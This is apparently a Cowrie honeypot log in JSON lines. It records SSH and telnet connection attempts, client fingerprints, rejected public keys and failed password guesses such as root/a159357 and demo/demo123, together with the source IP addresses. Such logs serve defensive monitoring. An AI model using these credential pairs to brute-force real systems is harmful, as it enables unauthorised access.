{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:90:9b:cf:0c:02:88:4d:5d:bb:c7:02:14:70:19:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFZ/ENVXJGaRkwW+egoLQ/cGpr1qp6EzMGoFspbfE0Iof4od7nxx5acTzJJHGPjiq/9pEUiLp+m151YN7Tn5r5hb5MlFtmTXMWba3MdmD18f48N/GJmL4dXNPQHH+S2+KENAurHyXqOIfGiiPeXJN1xnyru7IA1ESSqldZZ3mJOx2UnEhuNf5sq2qBRt24Qe9TYZ0v3T58Uxl0QDBTCFAh1Jy98Maf6dRRg7tIc1luz8ATYBP0XEN+MZxVJe97C7ONvxKEt77+f+smqz2XdblQx2ZfIxtvba09jw8RPlwz+arLfB+0GnPm6De9T2XxE74AP9ZZ/3VSYioP/cpE/GCd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:90:9b:cf:0c:02:88:4d:5d:bb:c7:02:14:70:19:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.779330Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:90:9b:cf:0c:02:88:4d:5d:bb:c7:02:14:70:19:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFZ/ENVXJGaRkwW+egoLQ/cGpr1qp6EzMGoFspbfE0Iof4od7nxx5acTzJJHGPjiq/9pEUiLp+m151YN7Tn5r5hb5MlFtmTXMWba3MdmD18f48N/GJmL4dXNPQHH+S2+KENAurHyXqOIfGiiPeXJN1xnyru7IA1ESSqldZZ3mJOx2UnEhuNf5sq2qBRt24Qe9TYZ0v3T58Uxl0QDBTCFAh1Jy98Maf6dRRg7tIc1luz8ATYBP0XEN+MZxVJe97C7ONvxKEt77+f+smqz2XdblQx2ZfIxtvba09jw8RPlwz+arLfB+0GnPm6De9T2XxE74AP9ZZ/3VSYioP/cpE/GCd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.783166Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:42:e3:46:36:c8:77:cd:aa:63:58:58:e9:28:d4:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCswnM44qg/WeTEUtcgRWWHqW3O456TKCFPYqQcXw+pwRUs8T7pnVoYbjLiFQ2Ts4r5m9OKuCeDfIKShhb/w4Tw1gV38yZIUmtWf4H33S9rZY7T85GiSZHmp5IzkkQepQIp0BBo64JdCos8KMGhiZND+TMYKzUoTK3SLGvbXRkvkTntAvg466z0OhW82pGMrGzj2sLxaVlbEOXtdrEF0rvsga9GUDVvwx/+oma38B4x32Q1P3AL9egCKS0/vXu3/l36K/Bs48b7wk75Q+w1mV3vIlyEg6zockpT/gMXKm566iwea2trAw8frLzuMoVAWQmd7DijfYd1baw/fzthgqJd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:42:e3:46:36:c8:77:cd:aa:63:58:58:e9:28:d4:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.792340Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:42:e3:46:36:c8:77:cd:aa:63:58:58:e9:28:d4:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCswnM44qg/WeTEUtcgRWWHqW3O456TKCFPYqQcXw+pwRUs8T7pnVoYbjLiFQ2Ts4r5m9OKuCeDfIKShhb/w4Tw1gV38yZIUmtWf4H33S9rZY7T85GiSZHmp5IzkkQepQIp0BBo64JdCos8KMGhiZND+TMYKzUoTK3SLGvbXRkvkTntAvg466z0OhW82pGMrGzj2sLxaVlbEOXtdrEF0rvsga9GUDVvwx/+oma38B4x32Q1P3AL9egCKS0/vXu3/l36K/Bs48b7wk75Q+w1mV3vIlyEg6zockpT/gMXKm566iwea2trAw8frLzuMoVAWQmd7DijfYd1baw/fzthgqJd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.795481Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:88:8c:35:38:7e:93:a2:d4:39:76:f4:db:3b:4d:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA7mWlN70yDOTGQ5uQyJziaYs3pUprX95CTPCV09Lcr+mVx7jK+/0B3W2duvS/BfJCEFlFvjdJpTgvSV8IKeYU2ZpUAi5ZBapHBdUK+PhpCN+EKK2Rw0Me87dMCVyH8znDw2n57HbVNqQfWPDIWwj6p/0msbHv1v2Xcqr2juS7zPhZJaYECxQGob7uOMklmCITc8k6woghU1DqsIIGlsX2ICWO8RJ88KVX+SgeKr76S7Q64nWHpcEJqxQZyB3hfFxny8CSI+XostSxUMyXP5GgoyyzEX6btnm47u9oUwcPZ1qz+EGPcSHcolc6kUUANR+jjZ1S8RdrbrP+9Ktt9iwv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:88:8c:35:38:7e:93:a2:d4:39:76:f4:db:3b:4d:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.803742Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:88:8c:35:38:7e:93:a2:d4:39:76:f4:db:3b:4d:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA7mWlN70yDOTGQ5uQyJziaYs3pUprX95CTPCV09Lcr+mVx7jK+/0B3W2duvS/BfJCEFlFvjdJpTgvSV8IKeYU2ZpUAi5ZBapHBdUK+PhpCN+EKK2Rw0Me87dMCVyH8znDw2n57HbVNqQfWPDIWwj6p/0msbHv1v2Xcqr2juS7zPhZJaYECxQGob7uOMklmCITc8k6woghU1DqsIIGlsX2ICWO8RJ88KVX+SgeKr76S7Q64nWHpcEJqxQZyB3hfFxny8CSI+XostSxUMyXP5GgoyyzEX6btnm47u9oUwcPZ1qz+EGPcSHcolc6kUUANR+jjZ1S8RdrbrP+9Ktt9iwv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.806772Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:e0:2c:1f:8b:d2:21:f2:c4:6c:41:5e:78:88:b4:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLUOCUcHowuE8IEvRdbHCUH/1Qjo/bdNo7zwSzq2fOvzQiNzStnohd9hiirH0G1y+1hhvaoBwwq52/SsCRotN0RxKE/xwvKMoGTNq5EFNcHALeamA/BNJjWZcItbDm4ua/jJqG5w2fnm0aaCRCx/gKE3d5HcVB2FKYJYtmkh1d3wqLvo6YG0ZGaafbK5aP39j/pmDeG8ytg4mSdqu6J2mtB85b2xMrU8NAUVQEhCr/ZUrhgQEjRI7ommFDg+6rp8DWMkQWaRA4/lObxDpeC+56a9+bLQadbP397+WQq5D5zfXJJS2+/KmX3q50ovDDNrRymYz7BDTM3xhMXQJvJvcjFV91inabtHtFSgjwFoM8yX5CsVLWC6gSrhJeINhqYv+fsdrPup6AhP41P12TK62u5ubTAEoG1/JoZSi1/MhAJUpf3R0CvXpomjZKBzip51Y1sHWsIPTfB35SWc3vNzmEHvTiok2pvIhp1z4wM7MQH9qM5HAhW3yd534ejaoTm5E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:e0:2c:1f:8b:d2:21:f2:c4:6c:41:5e:78:88:b4:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.814535Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:e0:2c:1f:8b:d2:21:f2:c4:6c:41:5e:78:88:b4:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLUOCUcHowuE8IEvRdbHCUH/1Qjo/bdNo7zwSzq2fOvzQiNzStnohd9hiirH0G1y+1hhvaoBwwq52/SsCRotN0RxKE/xwvKMoGTNq5EFNcHALeamA/BNJjWZcItbDm4ua/jJqG5w2fnm0aaCRCx/gKE3d5HcVB2FKYJYtmkh1d3wqLvo6YG0ZGaafbK5aP39j/pmDeG8ytg4mSdqu6J2mtB85b2xMrU8NAUVQEhCr/ZUrhgQEjRI7ommFDg+6rp8DWMkQWaRA4/lObxDpeC+56a9+bLQadbP397+WQq5D5zfXJJS2+/KmX3q50ovDDNrRymYz7BDTM3xhMXQJvJvcjFV91inabtHtFSgjwFoM8yX5CsVLWC6gSrhJeINhqYv+fsdrPup6AhP41P12TK62u5ubTAEoG1/JoZSi1/MhAJUpf3R0CvXpomjZKBzip51Y1sHWsIPTfB35SWc3vNzmEHvTiok2pvIhp1z4wM7MQH9qM5HAhW3yd534ejaoTm5E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.817503Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:b9:80:f3:39:fb:e9:60:8b:c6:f7:be:03:9d:c7:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxOZrhIDXuixlwF7AiACKHyDgwnqcPjuoiaGZHC9sKz0qbTl7zJ88y7PJsbCTQuj8nvM/QHLnKdzlp7Z3xAyqb948EX1a9DXm/KyRZtmo58KU4pTaa+pAZVfbMqi+M6W0y+ZCJRe22MmA0/6pxM2CACYlgb7eU5NUefxyZ+Gmyf1G3cB32X5xwylf8hCGKKhpQAmym6jpSNacmK3AyeOB934N+AwZ4unMfZys9TW1i85/mLom4/0p/75paAk1iaKNFP+cwYBUkNdXs9OZYTi+ybLnrcpPBIG3Ok3xe4PEWreq2Ldh2oE+ezUyo+5awtkZx93r8V4tukbS6rORJ63fXUCC9Sc4dwTgcVT7G9VeHkQaDIkuE8co1tRCTbd0XEJrxxjCCoFc/K4c6Qhmp4bdcFhkR2KuMHF4BBHWICvRo+V11GCBDi7URGbpHPzNL3ypcv7WxCYAVFxnxnOeEiRdyyU2Iv6BOuZhsURbhAdmjjD7wPQm3mmQhijTdnM9aQf7r0qMdcf0pK9FTKp+BFD4KVZgp4i1hBcAtG/9a/4rd+LyoWTyN0NcFqKHKh50idM0rttjbsheYgvlIpMicR/0GaGTjBCxLOXNCoR7H16X1KuERDV1sHYS7p/KaL0oVGT44GSk7xSx4BHT2ILqu7Q73e/6pFAJtt4bxIjZY/Er7ZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:b9:80:f3:39:fb:e9:60:8b:c6:f7:be:03:9d:c7:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.825326Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:b9:80:f3:39:fb:e9:60:8b:c6:f7:be:03:9d:c7:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxOZrhIDXuixlwF7AiACKHyDgwnqcPjuoiaGZHC9sKz0qbTl7zJ88y7PJsbCTQuj8nvM/QHLnKdzlp7Z3xAyqb948EX1a9DXm/KyRZtmo58KU4pTaa+pAZVfbMqi+M6W0y+ZCJRe22MmA0/6pxM2CACYlgb7eU5NUefxyZ+Gmyf1G3cB32X5xwylf8hCGKKhpQAmym6jpSNacmK3AyeOB934N+AwZ4unMfZys9TW1i85/mLom4/0p/75paAk1iaKNFP+cwYBUkNdXs9OZYTi+ybLnrcpPBIG3Ok3xe4PEWreq2Ldh2oE+ezUyo+5awtkZx93r8V4tukbS6rORJ63fXUCC9Sc4dwTgcVT7G9VeHkQaDIkuE8co1tRCTbd0XEJrxxjCCoFc/K4c6Qhmp4bdcFhkR2KuMHF4BBHWICvRo+V11GCBDi7URGbpHPzNL3ypcv7WxCYAVFxnxnOeEiRdyyU2Iv6BOuZhsURbhAdmjjD7wPQm3mmQhijTdnM9aQf7r0qMdcf0pK9FTKp+BFD4KVZgp4i1hBcAtG/9a/4rd+LyoWTyN0NcFqKHKh50idM0rttjbsheYgvlIpMicR/0GaGTjBCxLOXNCoR7H16X1KuERDV1sHYS7p/KaL0oVGT44GSk7xSx4BHT2ILqu7Q73e/6pFAJtt4bxIjZY/Er7ZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.828647Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.841423Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":54182,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ed3d3ce125f","protocol":"ssh","message":"New connection: 223.17.1.118:54182 (159.203.135.109:22) [session: 6ed3d3ce125f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:18.343994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:18.348495Z","src_ip":"223.17.1.118","session":"6ed3d3ce125f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:18.563155Z","src_ip":"223.17.1.118","session":"6ed3d3ce125f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q","message":"login attempt [root/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:19.450454Z","src_ip":"223.17.1.118","session":"6ed3d3ce125f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:20.665990Z","src_ip":"223.17.1.118","session":"6ed3d3ce125f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":58826,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb37306de9e5","protocol":"ssh","message":"New connection: 167.86.88.212:58826 (159.203.135.109:22) [session: fb37306de9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:35.179606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:35.184052Z","src_ip":"167.86.88.212","session":"fb37306de9e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:35.284806Z","src_ip":"167.86.88.212","session":"fb37306de9e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo123","message":"login attempt [demo/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:35.686500Z","src_ip":"167.86.88.212","session":"fb37306de9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:36.780407Z","src_ip":"167.86.88.212","session":"fb37306de9e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":64368,"dst_ip":"159.203.135.109","dst_port":22,"session":"4136a68890d9","protocol":"ssh","message":"New connection: 38.93.206.2:64368 (159.203.135.109:22) [session: 4136a68890d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:38.728669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:38.735296Z","src_ip":"38.93.206.2","session":"4136a68890d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:38.788418Z","src_ip":"38.93.206.2","session":"4136a68890d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a159357","message":"login attempt [root/a159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:38.942040Z","src_ip":"38.93.206.2","session":"4136a68890d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.947776556015015,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:39.095361Z","src_ip":"107.150.146.69","session":"82a1aa6f89cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:39.994828Z","src_ip":"38.93.206.2","session":"4136a68890d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55242,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a2e68969702","protocol":"telnet","message":"New connection: 170.64.224.25:55242 (159.203.135.109:23) [session: 6a2e68969702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:00.527378Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":43964,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f5c932266c2","protocol":"ssh","message":"New connection: 162.241.132.183:43964 (159.203.135.109:22) [session: 5f5c932266c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:07.980356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:07.985350Z","src_ip":"162.241.132.183","session":"5f5c932266c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:08.013226Z","src_ip":"162.241.132.183","session":"5f5c932266c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wintermute","password":"wintermute999","message":"login attempt [wintermute/wintermute999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:08.097950Z","src_ip":"162.241.132.183","session":"5f5c932266c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:09.128310Z","src_ip":"162.241.132.183","session":"5f5c932266c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":55596,"dst_ip":"159.203.135.109","dst_port":22,"session":"7de829b76fcb","protocol":"ssh","message":"New connection: 217.160.226.51:55596 (159.203.135.109:22) [session: 7de829b76fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:12.017140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:36:12.020651Z","src_ip":"217.160.226.51","session":"7de829b76fcb","protocol":"ssh"}
